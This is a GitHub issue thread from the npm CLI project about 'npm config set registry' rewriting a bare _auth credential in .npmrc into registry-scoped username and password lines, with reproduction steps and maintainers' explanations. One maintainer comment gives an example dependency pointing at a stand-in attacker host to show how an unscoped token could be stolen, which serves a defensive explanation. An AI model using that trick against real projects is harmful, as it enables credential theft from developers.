npm / cli

the package manager for JavaScript
https://docs.npmjs.com/cli/
Other
8.49k stars 3.17k forks source link

[BUG] npm config set unpacks _auth into username/password #4763

Open maikelvl opened 2 years ago

maikelvl commented 2 years ago

Is there an existing issue for this?

This issue exists in the latest npm version

Current Behavior

npm config set registry <url> messed up pre-existing ~/.npmrc containing _auth

$ cat ~/.npmrc
//registry.npmjs.org/:username=user
//registry.npmjs.org/:_password="cGFzcw=="
registry=https://npm.example.com/

Expected Behavior

$ cat ~/.npmrc
_auth=dXNlcjpwYXNz
registry=https://npm.example.com/

Steps To Reproduce

  1. Using the latest official node container image:
    docker run -it --rm docker.io/library/node:17.9.0-alpine ash
  2. Update to the latest npm
    npm install -g npm@8.7.0
  3. Having a existing ~/.npmrc containing _auth:
    cat << EOF > ~/.npmrc
    _auth=$(echo -n 'user:pass' | base64)
    EOF
  4. Set the container registry:
    npm config set registry https://npm.example.com
  5. Now the .npmrc is messed up cat ~/.npmrc:
    //registry.npmjs.org/:username=user
    //registry.npmjs.org/:_password="cGFzcw=="
    registry=https://npm.example.com/

Environment

ljharb commented 2 years ago

That looks conceptually the same even if the contents are different. Does it authenticate properly with the registry?

also have you tried with npm v8.7?

maikelvl commented 2 years ago

No, it does not authenticate properly since the _auth is removed. I opened this issue because #2300 seemed to be marked as 'fixed'.

I expected running the latest node also using the latest npm, but that was not the case. Version 8.7.0 has the same issue.

ljharb commented 2 years ago

The latest node is node 17, not 16, but also npm publishes more frequently than node releases :-)

fritzy commented 2 years ago

I was able to reproduce, thank you for the reproduction steps.

maikelvl commented 2 years ago

That's right. I picked the latest LTS. The issue also occurs on node v17.

wraithgar commented 2 years ago

This is the correct behavior. the _auth token only ever works on the npm registry, it won't be sent to other registries. When you log in npm cleans up the old _auth entry and adds a registry specifier to it. The fact that it transforms it to username/password is because the _auth entry is just a base64 encoded username and password.

It's a little jarring I'm sure to see it change from _auth to its constituent parts and we should keep this on the backlog to eventually see if it's possible to keep _auth as _auth. But this is not going to break your install, it's going to make your config more specific.

maikelvl commented 2 years ago

Thanks for your explanation.


only ever works on the npm registry, it won't be sent to other registries.

I don't think that's correct since an .npmrc like below authenticates just fine against our self-hosted Jfrog npm registry.

_auth=dXNlcjpwYXNz
registry=https://npm.example.com/

But this is not going to break your install,

It is breaking because it now sets authentication explicit to registry.npmjs.com where before it was using _auth to npm.example.com before

//registry.npmjs.org/:username=user
//registry.npmjs.org/:_password="cGFzcw=="
registry=https://npm.example.com/

As a workaround I just have the contents of .npmrc defined instead of generating it.

I'm fine accepting this change since it's a regression between major versions v14 and v15/v16/v17.

wraithgar commented 2 years ago

Ok so this is very helpful. I just added tests yesterday that I thought clarified this behavior but there is a difference between setting a registry via scope and setting the registry config item. _auth will go to whatever is specified in registry. I'll have to add a test to show that.

The reason it's doing what it's doing here is because the "config cleanup" code happens before the config set is applied. So the default registry is what is still in that value when it "nerf darts" (as we call it) the auth to the configured registry. The nerf darting of _auth to the configured registry is behavior that is not changing, it's a security issue and is intentional.

It's still weird because it's unpacking it to username/password but functionally those are the same.

wraithgar commented 2 years ago

It's a little goofy but I think if you did npm config set registry http://other.registry.com --registry=http://other.registry.com it would nerf dart your auth to the right registry.

ljharb commented 2 years ago

Why is that intentional? It seems pretty bad to do something the user didn’t ask for.

wraithgar commented 2 years ago

The nerf darting is what the config actually is, having it as the legacy bare _auth is misleading and confusing. Unpacking it to username/password is unintentional and odd, even though that too is functionally the same thing.

ljharb commented 2 years ago

What i mean is, if i have something in npmrc, and i npm config set something else, the something should never change, because that’s not what i asked npm to do. Whether it’s misleading or not is none of npm’s business because i didn’t ask npm to touch it.

mrdezzods commented 2 years ago

This worked for us

isaacs commented 1 year ago

What i mean is, if i have something in npmrc, and i npm config set something else, the something should never change, because that’s not what i asked npm to do. Whether it’s misleading or not is none of npm’s business because i didn’t ask npm to touch it.

Historically, a bare _auth will be sent to the current default registry, which might not be the registry you authed against. This is a serious security hole if left unchecked, because it means possibly sending your credentials to some random third party, and anyone would be able to steal your npm token with "dependencies": {"evil": "https://something-evil.com/package.tgz"}, which would be even harder to detect if it's in optionalDependencies, and doesn't resolve.

npm has no way of knowing what you intended your registry for that auth token to be, other than what's in the config at the time it encounters the _auth value. So if it sees that _auth field, it immediately scopes it to the current registry before proceeding to do anything else, so that it can't be sent anywhere it shouldn't be.

The only workaround is to ensure that the registry config is present the first time that npm encounters the bare _auth field. That's what @wraithgar's suggested command does, but you can also npm config set registry=whatever before appending the _auth field into the .npmrc, or write it in its registry-scoped form initially.

This is 100% working as designed, and the confusion is an unfortunate byproduct of a very old mistake. Changing this behavior would be a very bad idea.